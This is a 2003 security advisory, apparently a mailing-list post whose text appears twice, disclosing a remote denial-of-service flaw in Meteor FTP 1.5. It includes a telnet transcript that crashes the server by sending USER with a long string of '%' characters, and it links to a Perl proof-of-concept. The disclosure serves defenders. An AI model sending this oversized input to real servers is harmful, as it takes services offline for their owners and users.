Meteor FTP Version 1.5 Remote Denial of Service Vulnerability
1. Introduction
----------------
Meteor FTP is a personal ftp server that runs on Windows98/ME/2K/XP.
2. Vulnerability
-----------------
A vulnerability exists in Meteor FTP Version 1.5, which allows any
malicious user to remotely cause a denial of service against the ftp
server.
By connecting to the Meteor FTP server and issuing USER followed by large
amounts of data, the ftp server will crash.
3. Example
-----------
Proof of concept exploit (meteordos.pl) is included in the attachment.
root@openwire # telnet 192.168.1.14 21
Trying 192.168.1.14...
Connected to 192.168.1.14.
Escape character is '^]'.
220 Service ready for new user
USER
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%
530 Not logged on
QUIT
Connection closed by foreign host.
root@openwire # telnet 192.168.1.14 21
Trying 192.168.1.14...
Connected to 192.168.1.14.
Escape character is '^]'.
USER anonymous
QUIT
telnet> quit
Connection closed.
At this point the server has completely froze up. On the server side, the
Meteor FTP spits out a dialog :
"Error: Access Violation at 0x77FCC992 (Tried to write 0x25252525),
program terminated."
By clicking "OK", Meteor FTP terminates.
4. Vendor status
----------------
Vendor has been notified, waiting for response...
5. Credits
-----------
Vulnerability & code by zerash
You can view this advisory at :
http://www.evicted.org/projects/writings/mftpadvisory.txt
You can view the exploit at :
http://www.evicted.org/projects/code/meteordos.pl
6. Contact
-----------
Please send suggestions, updates, and comments to :
zerash (at) evicted (dot) org [email concealed]
http://www.evicted.org
zerash (at) evicted (dot) org [email concealed]
August 8, 2003
Meteor FTP Version 1.5 Remote Denial of Service Vulnerability
1. Introduction
----------------
Meteor FTP is a personal ftp server that runs on Windows98/ME/2K/XP.
2. Vulnerability
-----------------
A vulnerability exists in Meteor FTP Version 1.5, which allows any
malicious user to remotely cause a denial of service against the ftp
server.
By connecting to the Meteor FTP server and issuing USER followed by large
amounts of data, the ftp server will crash.
3. Example
-----------
Proof of concept exploit (meteordos.pl) is included in the attachment.
root@openwire # telnet 192.168.1.14 21
Trying 192.168.1.14...
Connected to 192.168.1.14.
Escape character is '^]'.
220 Service ready for new user
USER
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%
530 Not logged on
QUIT
Connection closed by foreign host.
root@openwire # telnet 192.168.1.14 21
Trying 192.168.1.14...
Connected to 192.168.1.14.
Escape character is '^]'.
USER anonymous
QUIT
telnet> quit
Connection closed.
At this point the server has completely froze up. On the server side, the
Meteor FTP spits out a dialog :
"Error: Access Violation at 0x77FCC992 (Tried to write 0x25252525),
program terminated."
By clicking "OK", Meteor FTP terminates.
4. Vendor status
----------------
Vendor has been notified, waiting for response...
5. Credits
-----------
Vulnerability & code by zerash
You can view this advisory at :
http://www.evicted.org/projects/writings/mftpadvisory.txt
You can view the exploit at :
http://www.evicted.org/projects/code/meteordos.pl
6. Contact
-----------
Please send suggestions, updates, and comments to :
zerash (at) evicted (dot) org [email concealed]
http://www.evicted.org
[ reply ]